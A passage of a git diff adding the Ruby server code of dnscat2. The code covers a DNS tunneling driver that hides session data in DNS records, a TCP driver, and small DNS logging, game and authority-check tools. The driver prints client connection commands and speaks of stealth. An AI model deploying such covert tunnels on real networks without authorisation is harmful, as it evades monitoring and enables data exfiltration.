volatile_hash[:key, ttl]=value" + end + sterilize(key) + ttl(key, ttl) + regular_writer(key, value) + end + + def merge(hsh) + hsh.map {|key,value| self[sterile(key)] = hsh[key]} + self + end + + def cleanup! + now = Time.now.to_i + @register.map {|k,v| clear(k) if v < now} + end + + def clear(key) + sterilize(key) + @register.delete key + self.delete key + end + + private + def expired?(key) + Time.now.to_i > @register[key].to_i + end + + def ttl(key, secs=60) + @register[key] = Time.now.to_i + secs.to_i + end + + def sterile(key) + String === key ? key.chomp('!').chomp('=') : key.to_s.chomp('!').chomp('=').to_sym + end + + def sterilize(key) + key = sterile(key) + end + end diff --git a/server/tunnel_drivers/driver_dns.rb b/server/tunnel_drivers/driver_dns.rb new file mode 100644 index 0000000..39aa68a --- /dev/null +++ b/server/tunnel_drivers/driver_dns.rb @@ -0,0 +1,386 @@ +## +# driver_dns.rb +# Created March, 2013 +# By Ron Bowes +# +# See: LICENSE.md +# +# This is a driver that will listen on a DNS port (using lib/dnser.rb) and +# will decode the "DNS tunnel protocol" and pass the resulting data to the +# controller. +## + +require 'libs/dnser' +require 'libs/settings' + +class DriverDNS + attr_reader :id + + # This is upstream dns + @@passthrough = nil + @@id = 0 + + # Experimentally determined to work + MAX_A_RECORDS = 64 + MAX_AAAA_RECORDS = 16 + + RECORD_TYPES = { + DNSer::Packet::TYPE_TXT => { + :requires_domain => false, + :max_length => 241, # Carefully chosen + :requires_hex => true, + :encoder => Proc.new() do |name| + name.unpack("H*").pop + end, + }, + DNSer::Packet::TYPE_MX => { + :requires_domain => true, + :max_length => 241, + :requires_hex => true, + :encoder => Proc.new() do |name| + name.unpack("H*").pop.chars.each_slice(63).map(&:join).join(".") + end, + }, + DNSer::Packet::TYPE_CNAME => { + :requires_domain => true, + :max_length => 241, + :requires_hex => true, + :encoder => Proc.new() do |name| + name.unpack("H*").pop.chars.each_slice(63).map(&:join).join(".") + end, + }, + DNSer::Packet::TYPE_A => { + :requires_domain => false, + :max_length => (MAX_A_RECORDS * (4-1)) - 1, # Length-prefixed and sequenced + :requires_hex => false, + + # Encode in length-prefixed dotted-decimal notation + :encoder => Proc.new() do |name| + i = rand(255 - MAX_A_RECORDS - 1) + (name.length.chr + name).chars.each_slice(3).map(&:join).map do |ip| + ip = ip.force_encoding('ASCII-8BIT').ljust(3, "\xFF".force_encoding('ASCII-8BIT')) + i += 1 + "%d.%d.%d.%d" % ([i] + ip.bytes.to_a) # Return + end + end, + }, + DNSer::Packet::TYPE_AAAA => { + :requires_domain => false, + :max_length => (MAX_AAAA_RECORDS * (16-1)) - 1, # Length-prefixed and sequenced + :requires_hex => false, + + # Encode in length-prefixed IPv6 notation + :encoder => Proc.new() do |name| + i = rand(255 - MAX_AAAA_RECORDS - 1) + (name.length.chr + name).chars.each_slice(15).map(&:join).map do |ip| + ip = ip.force_encoding('ASCII-8BIT').ljust(15, "\xFF".force_encoding('ASCII-8BIT')) + i += 1 + ([i] + ip.bytes.to_a).each_slice(2).map do |octet| + "%04x" % [octet[0] << 8 | octet[1]] + end.join(":") # return + end + end, + }, + + } + + # If domain is non-nil, match /(.*)\.domain/ + # If domain is nil, match /identifier\.(.*)/ + # If required_prefix is set, it only matches domains that contain that prefix + # + # The required prefix has to come first, if it's present + def DriverDNS.get_domain_regex(domain, identifier, required_prefix = nil) + if(domain.nil?) + if(required_prefix.nil?) + return /^#{identifier}(.*)$/ + else + return /^#{required_prefix}\.#{identifier}(.*)$/ + end + else + if(required_prefix.nil?) + return /^(.*)\.#{domain}$/ + else + return /^#{required_prefix}\.(.*)\.#{domain}$/ + end + end + end + + def DriverDNS.figure_out_name(name, domains) + # Check if it's one of our domains + domains.each do |domain| + if(name =~ /^(.*)\.(#{domain})/i) + return $1, $2 + end + end + + # Check if it starts with dnscat, which is used when + # the server is unknown + if(name =~ /^dnscat\.(.*)$/i) + return $1, nil + end + + # Can't process. :( + return nil + end + + def DriverDNS.set_passthrough(host, port) + if(host.nil?) + @@passthrough = nil + return + end + + @@passthrough = { + :host => host, + :port => port, + } + @shown_pt = false + end + + def id() + return @window.id + end + + def do_passthrough(transaction) + question = transaction.request.questions[0] + + if(@@passthrough) + @window.puts("Unknown request for '#{question ? question : ''}', passing to #{@@passthrough[:host]}:#{@@passthrough[:port]}") + + transaction.passthrough!(@@passthrough[:host], @@passthrough[:port]) + elsif(!@shown_pt) + @window.puts("Unable to handle request, returning an error: #{question.name}") + @window.puts("(If you want to pass to upstream DNS servers, use --passthrough") + @window.puts("or run \"set passthrough=8.8.8.8:53\")") + @window.puts("(This will only be shown once)") + @shown_pt = true + + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) + end + + @shown_pt = true + end + + def DriverDNS.packet_to_bytes(question, domains) + # Determine the actual name, without the extra cruft + name, _ = DriverDNS.figure_out_name(question.name, domains) + + if(name.nil?) + return nil + end + + if(name !~ /^[a-fA-F0-9.]*$/) + return nil + end + + # Get rid of periods in the incoming name + name = name.gsub(/\./, '') + name = [name].pack("H*") + + return name + end + + def DriverDNS.get_max_length(question, domains) + # Determine the actual name, without the extra cruft + name, domain = DriverDNS.figure_out_name(question.name, domains) + + if(name.nil?) + return nil + end + + type_info = RECORD_TYPES[question.type] + if(type_info.nil?) + raise(DnscatException, "Couldn't figure out how to handle the record type! (please report this, it shouldn't happen): " + type) + end + + # Figure out the length of the domain based on the record type + if(type_info[:requires_domain]) + if(domain.nil?) + domain_length = ("dnscat.").length + else + domain_length = domain.length + 1 # +1 for the dot + end + else + domain_length = 0 + end + + # Figure out the max length of data we can handle + if(type_info[:requires_hex]) + max_length = (type_info[:max_length] / 2) - domain_length + else + max_length = (type_info[:max_length]) - domain_length + end + + return max_length + end + + def DriverDNS.do_encoding(question, domains, response) + # Determine the actual name, without the extra cruft + _, domain = DriverDNS.figure_out_name(question.name, domains) + + type_info = RECORD_TYPES[question.type] + if(type_info.nil?) + raise(DnscatException, "Couldn't figure out how to handle the record type! (please report this, it shouldn't happen): " + type) + end + + # Encode the response as needed + response = type_info[:encoder].call(response) + + # Append domain, if needed + if(type_info[:requires_domain]) + if(domain.nil?) + response = (response == "" ? "dnscat" : ("dnscat." + response)) + else + response = (response == "" ? domain : (response + "." + domain)) + end + end + + # Do another length sanity check (with the *actual* max length, since everything is encoded now) + if(response.is_a?(String) && response.length > type_info[:max_length]) + raise(DnscatException, "The handler returned too much data (after encoding)! This shouldn't happen, please report.") + end + + return response + end + + def initialize(parent_window, host, port, domains) + if(domains.nil?) + domains = [] + end + + # Do this as early as we can, so we can fail early + @dnser = DNSer.new(host, port, true) + + @id = 'dns%d' % (@@id += 1) + @window = SWindow.new(parent_window, false, { + :id => @id, + :name => "DNS Driver running on #{host}:#{port} domains = #{domains.join(', ')}", + :noinput => true, + }) + +# @shown_pt = false + + @window.with({:to_ancestors => true}) do + @window.puts("Starting Dnscat2 DNS server on #{host}:#{port}") + @window.puts("[domains = #{(domains == []) ? "n/a" : domains.join(", ")}]...") + @window.puts("") + + if(domains.nil? || domains.length == 0) + @window.puts("It looks like you didn't give me any domains to recognize!") + @window.puts("That's cool, though, you can still use direct queries,") + @window.puts("although those are less stealthy.") + @window.puts("") + else + @window.puts("Assuming you have an authoritative DNS server, you can run") + @window.puts("the client anywhere with the following (--secret is optional):") + @window.puts() + domains.each do |domain| + @window.puts(" ./dnscat --secret=#{Settings::GLOBAL.get('secret')} #{domain}") + end + @window.puts("") + end + + @window.puts("To talk directly to the server without a domain name, run:") + @window.puts() + @window.puts(" ./dnscat --dns server=x.x.x.x,port=#{port} --secret=#{Settings::GLOBAL.get('secret')}") + @window.puts("") + @window.puts("Of course, you have to figure out yourself! Clients") + @window.puts("will connect directly on UDP port #{port}.") + @window.puts("") + end + + + @dnser.on_request() do |transaction| + begin + request = transaction.request + + if(request.questions.length < 1) + raise(DnscatException, "Received a packet with no questions") + end + + question = request.questions[0] + @window.puts("Received: #{question.name} (#{question.type_s})") + + name = DriverDNS.packet_to_bytes(question, domains) + if(name.nil?) + do_passthrough(transaction) + next + end + + max_length = DriverDNS.get_max_length(question, domains) + if(max_length.nil?) + do_passthrough(transaction) + next + end + + # Get the response + response = proc.call(name, max_length) + + if(response.length > max_length) + raise(DnscatException, "The handler returned too much data! This shouldn't happen, please report. (max = #{max_length}, returned = #{response.length}") + end + + response = DriverDNS.do_encoding(question, domains, response) + + # Log the response + @window.puts("Sending: #{response}") + + # Allow multiple response records + if(response.is_a?(String)) + transaction.add_answer(question.answer(60, response)) + else + response.each do |r| + transaction.add_answer(question.answer(60, r)) + end + end + + transaction.reply!() + rescue DNSer::DnsException => e + @window.with({:to_ancestors => true}) do + @window.puts("There was a problem parsing the incoming packet! (for more information, check window '#{@window.id}')") + @window.puts(e.inspect) + end + + e.backtrace.each do |bt| + @window.puts(bt) + end + + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) + rescue DnscatException => e + @window.with({:to_ancestors => true}) do + @window.puts("Protocol exception caught in dnscat DNS module (for more information, check window '#{@window.id}'):") + @window.puts(e.inspect) + end + + e.backtrace.each do |bt| + @window.puts(bt) + end + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) + rescue StandardError => e + @window.with({:to_ancestors => true}) do + @window.puts("Error caught (for more information, check window '#{@window.id}'):") + @window.puts(e.inspect) + end + + e.backtrace.each do |bt| + @window.puts(bt) + end + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) + end + end + end + + def stop() + if(@dnser.nil?) + @window.puts("Tried to kill a session that isn't started or that's already dead!") + return + end + + @dnser.stop() + @dnser = nil + @window.close() + end + + def to_s() + return @window.name + end +end diff --git a/server/tunnel_drivers/driver_tcp.rb b/server/tunnel_drivers/driver_tcp.rb new file mode 100644 index 0000000..194258c --- /dev/null +++ b/server/tunnel_drivers/driver_tcp.rb @@ -0,0 +1,62 @@ +## +# driver_tcp.rb +# Created March, 2013 +# By Ron Bowes +# +# See: LICENSE.md +# +# A TCP wrapper for the dnscat2 protocol (mostly for testing) +## + +require 'socket' + +class DriverTCP + def initialize(s) + @s = s + end + + def recv() + loop do + length = @s.read(2) + if(length.nil? || length.length != 2) + raise(IOError, "Connection closed while reading the length") + end + length = length.unpack("n").shift + + incoming = @s.read(length) + if(incoming.nil? || incoming.length != length) + raise(IOError, "Connection closed while reading packet") + end + + outgoing = yield(incoming, 32767) + if(!outgoing.nil?) + outgoing = [outgoing.length, outgoing].pack("nA*") + @s.write(outgoing) + end + end + end + + def close() + @s.close + end + + def DriverTCP.go(host, port) + Log.WARNING(nil, "Starting Dnscat2 TCP server on #{host}:#{port}...") + server = TCPServer.new(port) + + loop do + Thread.start(server.accept) do |s| + Log.INFO(nil, "Received a new connection from #{s.peeraddr[3]}:#{s.peeraddr[1]} (#{s.peeraddr[2]})...") + + begin + tcp = DriverTCP.new(s) + Dnscat2.go(tcp) + rescue IOError => e + puts("IOError caught: #{e.inspect}") + puts(e.inspect) + puts(e.backtrace) + end + end + end + end +end diff --git a/server/tunnel_drivers/tunnel_drivers.rb b/server/tunnel_drivers/tunnel_drivers.rb new file mode 100644 index 0000000..55d615a --- /dev/null +++ b/server/tunnel_drivers/tunnel_drivers.rb @@ -0,0 +1,70 @@ +## +# tunnel_drivers.rb +# Created September 17, 2015 +# By Ron Bowes +# +# See: LICENSE.md +## + +class TunnelDrivers + @@drivers = {} + + class StopDriver < Exception + end + + def TunnelDrivers.start(params = {}) + controller = params[:controller] || raise(ArgumentError, "The :controller argument is required") + driver_cls = params[:driver] || raise(ArgumentError, "The :driver argument is required") + args = params[:args] || raise(ArgumentError, "The :args argument is required") + if(!args.is_a?(Array)) + raise(ArgumentError, "The :args argument must be an array") + end + + begin + driver = driver_cls.new(WINDOW, *args) do |data, max_length| + controller.feed(data, max_length) + end + @@drivers[driver.id] = driver + rescue Errno::EACCES => e + puts("") + puts("*** ERROR") + puts("*") + puts("* There was a problem creating the socket: #{e}") + puts("*") + puts("* If you're trying to run this on Linux, chances are you need to") + puts("* run this as root, or give ruby permission to listen on port 53.") + puts("*") + puts("* Sadly, this is non-trivial; rvmsudo doesn't work, because it's") + puts("* a shellscript and breaks ctrl-z; the best way is to use 'su' or") + puts("* 'sudo', and to ensure that the appropriate gems are globally") + puts("* installed.") + puts("*") + puts("* The process will run as usual, but if the 'windows' command doesn't") + puts("* show any listeners, nobody will be able to connect to you!") + puts("*") + puts("*** ERROR") + puts("") + end + end + + def TunnelDrivers.exists?(id) + return !@@drivers[id].nil? + end + + def TunnelDrivers.stop(id) + driver = @@drivers[id] + + if(!driver) + return false + end + + driver.stop() + @@drivers.delete(id) + end + + def TunnelDrivers.each_driver() + @@drivers.each_pair do |id, driver| + yield(id, driver) + end + end +end diff --git a/tools/Gemfile b/tools/Gemfile new file mode 100644 index 0000000..743c9a2 --- /dev/null +++ b/tools/Gemfile @@ -0,0 +1,9 @@ +# Gemfile +# By Ron Bowes +# +# See LICENSE.md + +source 'https://rubygems.org' + +gem 'trollop' # parsing commandline options +gem 'ruby-pcap' # for the parser diff --git a/tools/Gemfile.lock b/tools/Gemfile.lock new file mode 100644 index 0000000..881a47d --- /dev/null +++ b/tools/Gemfile.lock @@ -0,0 +1,12 @@ +GEM + remote: https://rubygems.org/ + specs: + ruby-pcap (0.7.9) + trollop (2.0) + +PLATFORMS + ruby + +DEPENDENCIES + ruby-pcap + trollop diff --git a/tools/dnslogger.rb b/tools/dnslogger.rb new file mode 100644 index 0000000..cf0e840 --- /dev/null +++ b/tools/dnslogger.rb @@ -0,0 +1,107 @@ +## +# dnslogger.rb +# Created July 22, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +# Implements a stupidly simple DNS server. +## + +$LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9 + +require 'trollop' +require '../server/libs/dnser' + +# version info +NAME = "dnslogger" +VERSION = "v1.0.0" + +Thread.abort_on_exception = true + +# Options +opts = Trollop::options do + version(NAME + " " + VERSION) + + opt :version, "Get the #{NAME} version", :type => :boolean, :default => false + opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0" + opt :port, "The port to listen on", :type => :integer, :default => 53 + + opt :passthrough, "Set to a host:port, and unanswered queries will be sent there", :type => :string, :default => nil + opt :packet_trace, "If enabled, print details about the packets", :type => :boolean, :default => false + + opt :A, "Response to send back for 'A' requests", :type => :string, :default => nil + opt :AAAA, "Response to send back for 'AAAA' requests", :type => :string, :default => nil + opt :CNAME, "Response to send back for 'CNAME' requests", :type => :string, :default => nil + opt :TXT, "Response to send back for 'TXT' requests", :type => :string, :default => nil + opt :MX, "Response to send back for 'MX' requests", :type => :string, :default => nil + opt :MX_PREF, "The preference order for the MX record", :type => :integer, :default => 10 + opt :NS, "Response to send back for 'NS' requests", :type => :string, :default => nil + + opt :ttl, "The TTL value to return", :type => :integer, :default => 60 +end + +if(opts[:port] < 0 || opts[:port] > 65535) + Trollop::die :port, "must be a valid port (between 0 and 65535)" +end + +puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}") + +pt_host = pt_port = nil +if(opts[:passthrough]) + pt_host, pt_port = opts[:passthrough].split(/:/, 2) + pt_port = pt_port || 53 + puts("Any queries without a specific answer will be sent to #{pt_host}:#{pt_port}") +end + +dnser = DNSer.new(opts[:host], opts[:port]) + +dnser.on_request() do |transaction| + request = transaction.request + + if(request.questions.length < 1) + puts("The request didn't ask any questions!") + next + end + + if(request.questions.length > 1) + puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!") + next + end + + question = request.questions[0] + + puts(request.to_s(!opts[:packet_trace])) + + # If they provided a way to handle it, to that + response = question.type_s ? opts[question.type_s.to_sym] : nil + if(response) + if(question.type == DNSer::Packet::TYPE_MX) + answer = question.answer(opts[:ttl], response, opts[:MX_PREF]) + else + answer = question.answer(opts[:ttl], response) + end + + transaction.add_answer(answer) + puts(transaction.response.to_s(!opts[:packet_trace])) + transaction.reply!() + else + if(pt_host) + transaction.passthrough!(pt_host, pt_port, Proc.new() do |packet| + puts(packet.to_s(!opts[:packet_trace])) + end) + puts("OUT: (...forwarding upstream...)") + else + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) + puts(transaction.response.to_s(!opts[:packet_trace])) + end + end + + if(!transaction.sent) + raise(StandardError, "Oops! We didn't send the response! Please file a bug") + end + +end + +# Wait for it to finish (never-ending, essentially) +dnser.wait() diff --git a/tools/dnsmastermind.rb b/tools/dnsmastermind.rb new file mode 100644 index 0000000..173dae7 --- /dev/null +++ b/tools/dnsmastermind.rb @@ -0,0 +1,115 @@ +## +# dnslogger.rb +# Created July 22, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +# Simply checks if you're the authoritative server. +## + +$LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9 + +require 'trollop' +require '../server/libs/dnser' + +# version info +NAME = "dnsmastermind" +VERSION = "v1.0.0" + +Thread.abort_on_exception = true + +# Options +opts = Trollop::options do + version(NAME + " " + VERSION) + + opt :version, "Get the #{NAME} version", :type => :boolean, :default => false + opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0" + opt :port, "The port to listen on", :type => :integer, :default => 53 + opt :timeout, "The amount of time (seconds) to wait for a response", :type => :integer, :default => 10 + opt :solution,"The answer; should be four letters, unless you're a jerk", :type => :string, :default => nil, :required => true + opt :win, "The message to display to winners", :type => :string, :default => "YOU WIN!!" +end + +if(opts[:port] < 0 || opts[:port] > 65535) + Trollop::die :port, "must be a valid port (between 0 and 65535)" +end + +if(opts[:solution].include?('.')) + Trollop::die :solution, "must not contain period; SHOULD only contain [a-z]{4} :)" +end +solution = opts[:solution].upcase() + +puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}") + +dnser = DNSer.new(opts[:host], opts[:port]) + +dnser.on_request() do |transaction| + begin + request = transaction.request + + if(request.questions.length < 1) + puts("The request didn't ask any questions!") + next + end + + if(request.questions.length > 1) + puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!") + next + end + + if(request.questions[0].type != DNSer::Packet::TYPE_TXT) + next + end + guess, domain = request.questions[0].name.split(/\./, 2) + guess.upcase!() + + if(guess == solution) + puts("WINNER!!!") + answer = opts[:win] + elsif(guess.length == solution.length) + saved_guess = guess + tmp_solution = solution.chars.to_a() + guess = guess.chars.to_a() + answer = "" + + 0.upto(tmp_solution.length() - 1) do |i| + if(tmp_solution[i] == guess[i]) + answer += "O" + tmp_solution[i] = "" + guess[i] = "" + end + end + + guess.each do |c| + if(c == "") + next + end + + if(tmp_solution.include?(c)) + tmp_solution[tmp_solution.index(c)] = "" + answer += "X" + end + end + + if(answer == "") + answer = "No correct character; keep trying!" + end + + puts("Guess: #{saved_guess} => #{answer}") + else + puts("Invalid; sending instructions: #{guess}") + answer = "Instructions: guess the #{solution.length}-character string: dig -t txt [guess].#{domain}! 'O' = correct, 'X' = correct, but wrong position" + end + + answer = DNSer::Packet::Answer.new(request.questions[0], DNSer::Packet::TYPE_TXT, DNSer::Packet::CLS_IN, 100, DNSer::Packet::TXT.new(answer)) + + transaction.add_answer(answer) + transaction.reply!() + rescue StandardError => e + puts("Error: #{e}") + puts(e.backtrace) + end +end + +dnser.wait() diff --git a/tools/dnstest.rb b/tools/dnstest.rb new file mode 100644 index 0000000..0a5ca36 --- /dev/null +++ b/tools/dnstest.rb @@ -0,0 +1,82 @@ +## +# dnslogger.rb +# Created July 22, 2015 +# By Ron Bowes +# +# See: LICENSE.md +# +# Simply checks if you're the authoritative server. +## + +$LOAD_PATH << File.dirname(__FILE__) # A hack to make this work on 1.8/1.9 + +require 'trollop' +require '../server/libs/dnser' + +# version info +NAME = "dnstest" +VERSION = "v1.0.0" + +Thread.abort_on_exception = true + +# Options +opts = Trollop::options do + version(NAME + " " + VERSION) + + opt :version, "Get the #{NAME} version", :type => :boolean, :default => false + opt :host, "The ip address to listen on", :type => :string, :default => "0.0.0.0" + opt :port, "The port to listen on", :type => :integer, :default => 53 + opt :domain, "The domain to check", :type => :string, :default => nil, :required => true + opt :timeout, "The amount of time (seconds) to wait for a response", :type => :integer, :default => 10 +end + +if(opts[:port] < 0 || opts[:port] > 65535) + Trollop::die :port, "must be a valid port (between 0 and 65535)" +end + +if(opts[:domain].nil?) + Trollop::die :domain, "Domain is required!" +end + +puts("Starting #{NAME} #{VERSION} DNS server on #{opts[:host]}:#{opts[:port]}") + +domain = (0...16).map { ('a'..'z').to_a[rand(26)] }.join() + "." + opts[:domain] + +dnser = DNSer.new(opts[:host], opts[:port]) + +dnser.on_request() do |transaction| + request = transaction.request + + if(request.questions.length < 1) + puts("The request didn't ask any questions!") + next + end + + if(request.questions.length > 1) + puts("The request asked multiple questions! This is super unusual, if you can reproduce, please report!") + next + end + + question = request.questions[0] + puts("Received: #{question}") + if(question.type == DNSer::Packet::TYPE_A && question.name == domain) + puts("You have the authoritative server!") + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) + exit() + else + puts("Received a different request: #{question}") + end + + # Always respond with an error + transaction.error!(DNSer::Packet::RCODE_NAME_ERROR) +end + +puts("Sending: #{domain}!") +DNSer.query(domain, { :type => DNSer::Packet::TYPE_A }) do |response| + # Do nothing +end + +sleep(opts[:timeout]) + +puts("Request timed out... you probably don't have the authoritative server. :(") +exit(0)